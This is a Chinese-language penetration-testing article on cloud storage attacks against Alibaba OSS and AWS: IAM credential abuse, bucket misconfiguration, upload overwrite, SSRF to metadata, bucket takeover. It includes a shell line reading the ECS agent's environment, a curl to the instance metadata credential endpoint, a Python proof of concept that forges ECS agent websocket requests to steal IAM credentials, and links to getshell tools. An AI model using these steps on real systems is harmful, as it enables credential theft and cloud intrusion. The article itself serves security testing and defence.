阿里云 OSS 作为企业核心云存储组件,其安全攻防已成为云安全领域的核心议题。本文聚焦 OSS 实战场景,围绕 IAM 凭据滥用、容器逃逸、Web 应用漏洞及 OSS 存储桶专属风险四大维度展开剖析,结合真实渗透案例拆解权限配置错误、SSRF 元数据劫持、文件上传 / 覆盖、存储桶域名劫持等高频漏洞的利用逻辑,还原攻击者突破云边界的完整链路,为云安全从业者提供漏洞挖掘、利用与防御的实战参考。
0x02 漏洞详情(一)
1.IAM凭据滥用
1.1漏洞原理:
云厂商给用户提供云上IAM服务,其通过提供账号全生命周期管理、身份管理、认证、权限、审计以及联合身份等基本功能,加强了身份认证体系的安全性。而IAM(身份与访问管理)系统的核心风险在于权限过度分配和信任关系滥用。不正确的配置权限,如权限边界模糊,角色策略(Policy)中过度使用*通配符;信任策略(Trust Policy)配置错误,允许不可信实体担任高权限角色;权限传递失控,通过AssumeRole接口获取角色临时身份凭证跨账户授权时缺乏严格限制;给低权限用户配置高权限等都会造成一系列的安全问题。
攻击思路如下:

1.2漏洞利用:
(1)存储桶权限配置错误
存储桶权限配置错误导致可公开访问,访问存储桶爬取其中的敏感文件。


相关工具:
https://github.com/jdr2021/OSSFileBrowse
(2)云服务认证Key泄漏(如AK/SK或者Security Token等)
- Github仓库配置不当
- 云架构中的密码重用
- 针对云租户账号密码的社工攻击(如AWS Credential Harvesting钓鱼攻击)
- 在公共存储桶中存在的密钥泄露
- 信任的关联第三方数据泄露
- 硬编码在网页、源码或移动APP中的AK/SK
(3)低权限用户可访问高权限存储桶
低权限用户上传文件之存储桶,本身无整个存储桶的权限。

修改存储桶地址为根目录,返回整个桶的地址。

访问返回的存储桶地址即可获取整个存储桶的查看权限。

(4)云服务任意文件上传、删除、覆盖。
常见于上传头像、图片、文件等至云存储的业务,通过构造数据包上传文件至云存储,可上传任意文件,比如exe、html等。


尝试覆盖上传的文件。注意:filename以及上传的文件目录需要一致。一般js中会有系统文件,可以通过js获取同一桶下的文件地址,通过替换上传文件地址的方式覆盖原有的文件。

查看第一次上传的文件已经被覆盖。

2. 容器逃逸(AWS ECS ECScape漏洞)
2.1 漏洞原理
ECScape漏洞原理在于云服务对实例元数据服务的过度信任。在AWS环境中,每个EC2实例内部运行着一个特殊的元数据服务,位于固定IP地址169.254.169.254。容器内应用可以通过访问该服务获取实例自身的配置信息和临时安全凭证。这些凭证与附加到实例或任务的IAM角色相关联,用于访问其他AWS服务。正常情况下,每个容器只能获取其自身任务的凭证,实际发现ECS代理(Agent)与元数据服务之间存在一种特殊的信任关系:元数据服务会无条件信任来自ECS代理的请求。因此可以通过模拟ECS代理的身份,欺骗元数据服务返回同一实例上其他容器的IAM凭证。
2.2 漏洞利用
本漏洞利用前提为拥有或提前获取容器群内某一容器控制权限。
第一步获取ECS集群信息:
通过特定命令获取ECS Agent通信端点(包括集群ARN ClusterArn、容器实例ARN ConTainerInstanceArn、运行中的任务列表TaskArns)
获取ECS Agent通信端点:
ECS_AGENT_URI=$(cat /proc/$(pidof ecs-agent)/environ | tr '\0' '\n' | grep ECS_AGENT_URI | cut -d= -f2)
echo "ECS Agent URI: $ECS_AGENT_URI"
通过查询ECS自省API获取任务列表
http://localhost:8080/v1/task1

第二步:伪造ACS WebSocket请求
ECS Agent使用WebSocket协议与AWS ACS(Agent Communication Service)通信,攻击者可以通过cluster(目标ECS集群ARN)、containerInstance(当前容器实例ARN)、taskArn(要窃取凭证的目标ARN,此参数通过自省API获取)、sendCredentials=true(强制ECS Agent返回目标任务的IAM凭证)4个关键参数来伪造强制ECS Agent返回目标任务的IAM凭证。
获取EC2实例角色的临时凭证(用于签名)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
构造签名的WebSocket URL(模仿ECS Agent)
wss://xxxxxx/ws?cluster=<ClusterArn>&containerInstance=<ContainerInstanceArn>&taskArn=<TargetTaskArn>&sendCredentials=true
POC实例如下:
import websockets
import asyncio
async def steal_credentials():
# 伪造WebSocket URL(需先签名)
ws_url = "wss://ecs-a-1.us-east-1.amazonaws.com/ws?" \
"cluster=arn:aws:ecs:us-east-1:xxxxx:cluster/my-cluster&" \
"containerInstance=arn:aws:ecs:us-east-1:xxxx:container-instance/xxxxxx&" \
"taskArn=arn:aws:ecs:us-east-1:xxxxxx:task/my-cluster/xxxxx&" \
"sendCredentials=true"
async with websockets.connect(ws_url) as websocket:
# 发送心跳维持连接
await websocket.send('{"type":"Ack","message":"keepalive"}')
# 接收ECS Agent返回的凭证
credentials = await websocket.recv()
print(f"Stolen IAM Credentials: {credentials}")
asyncio.get_event_loop().run_until_complete(steal_credentials())
返回如下:

至此凭据获取成功。
拓展一些定义,感兴趣的话可以去官方文档中查看
https://docs.aws.amazon.com/IAM/latest/UserGuide/reference-arns.html


3.云主机中web应用漏洞
3.1 云上SSRF漏洞利用
由于元数据服务部署在链路本地地址上,云厂商并没有进一步设置安全措施来检测或阻止由实例内部发出的恶意的对元数据服务的未授权访问。攻击者可以通过实例上应用的SSRF漏洞对实例的元数据服务进行访问,这是云环境下一种典型且高风险的攻击路径。

云厂商元数据服务地址:
案例:检测某接口存在ssrf漏洞,根据返回响应server判断云厂商后,传入元数据服务地址突破边界读取元数据。

3.2 跨目录文件上传
使用../../跨目录实现任意文件上传。

3.3 逻辑漏洞
利用自动预编译越权获取存储桶中的文件信息。
用户存储桶只有上传权限,此时尝试越权获取更多存储桶权限。通过访问云服务根目录发现存在存储桶文件泄露,但是当直接访问存储桶内文件却提示deny,没有权限访问。而用户从云服务拉取文件的时候传参为云服务地址,此时通过前端自动预签名机制传入云服务根目录,从而拿到云服务传回的文件地址,访问既可以获取存储桶权限。借助用户正常业务请求,进而进一步查看桶内敏感信息。


访问预编译好的地址就可以成功获取云存储桶的其他文件。
4. OSS存储桶相关漏洞
4.1 对象存储访问控制——公开访问:
每个云服务商的Bucket的访问控制都是不一样的。
大部分是由公共权限和用户权限配置共同组成了存储桶访问权限。
公共权限包括私有读写、公有读私有写和公有读写这几个选项可以选择,且为单选。

设置公开后,直接通过文件对象URL直接访问,适合放一些头像图片之类的。
私有空间是必须要获得拥有者的访问权限才能访问,但是实际上的做法其实就是加了个签名而已,这个签名具体的效果要看业务怎么实现了。
如下提供类似的URL为类似AWS S3 签名URL形式
https://bucket.s3-china-region.cloud.com/?ak=xxxx&sgin=xxxx&time=16xxxx
AK用于控制权限。
Sign用于验证签名,例如url+sk+query参数+header+时间戳拼接在一起,使用某个作为盐进行hash生成sign,所以是不可推算的。
time时间戳,用于该URL过期时间,例如明天,该URL就不再可访问。
漏洞点:那如果在错误的配置下,给了listobject权限,就会导致可遍历存储桶。

如下,打开显示所有文件,可下载。
https://carma-dev.s3.amazonaws.com/
漏洞示例

hackerone案例

4.2 存储桶目录爆破问题
当遇到云上存储桶时,如果当前桶不存在可能存在如下两种情况:
InvalidBucketName:表示存储桶的名称不符合规范,属于无效的存储桶名称。

NoSuchBucket:表示没有这个存储桶。

而如果存在会返回accessdenied或者目录遍历的漏洞。
4.3 存储桶域名劫持
最常见的场景:
访问某域名,提示 NoSuchBucket,如下图所示。

参考文档:
https://www.pa55w0rd.online/oss/
此外阿里云oss也可能存在泄露oss key 等敏感信息,比较常见的就是github.com泄露,或者是spring heapdump 信息泄露,然后就是普通的接口api信息泄露/JS信息泄露,或者就是报错信息泄露,比如thinkphp django或是APK反编译后直接硬编码在里面。
getshell工具
https://github.com/iiiusky/alicloud-tools
值得一提的是,腾讯云是不存在接管Bucket这种漏洞的,原因是appid是在控制台用时间戳随机生成的,因此无法创建同名Bucket,故不存在Bucket 接管问题:
出于安全考虑,从2019年9月23日起,针对之后新建的Bucket,直接使用OSS提供的默认域名,从互联网访问OSS上该Bucket的图片类型文件时,Content-Type(Mime-Type)为image/jpeg、image/gif、image/tiff、image/png、image/webp、image/svg+xml、image/bmp、image/x-ms-bmp、image/x-cmu-raster、image/exr、image/x-icon、image/heic,扩展名包括jpg、jpeg、jpe、png、tif、tiff、gif、svg、bmp、ico、ras、dib、svgz、webp、bm、jfif、x-png、exr、heic时,Response Header中会自动加上Content-Disposition:‘attachment=filename;’。即从浏览器访问图片类型文件时,会以附件形式进行下载。建议您可以使用自定义域名访问OSS请求。
如何绑定自定义域名请参见绑定自定义域名。
4.4 PUT/DELETE文件上传或删除

在进行文件上传的时候,不光是oss的对象存储场景,常常会有功能例如上传头像功能,上传成功后不会返回jpg,也不会返回png,而是返回一个/images/asd123qwezxc4235adlfjioasf 这样没有后缀的文件。
此时传统的文件上传漏洞可能已经不行了,但是我们可以直接修改 content-type 为:
text/html
text/xml
text/javascript
text/html
text/plain
这样可能后端获取解析的就不再是图片,而是html文件。


0x03 总结
阿里云 OSS 及关联云服务的安全风险,本质源于权限配置不当、信任机制滥用及云原生特性下的防护盲区。从 IAM 权限过度分配、ECScape 容器逃逸窃取凭证,到 OSS 存储桶公开访问、预签名机制越权、SSRF 劫持元数据,攻击者可通过多维度漏洞组合突破云防护边界。企业需从最小权限原则配置 IAM 策略、强化存储桶访问控制、监控元数据服务访问行为、规范文件上传校验逻辑等维度构建防护体系,同时结合云厂商安全基线与常态化渗透测试,全方位筑牢云存储安全防线。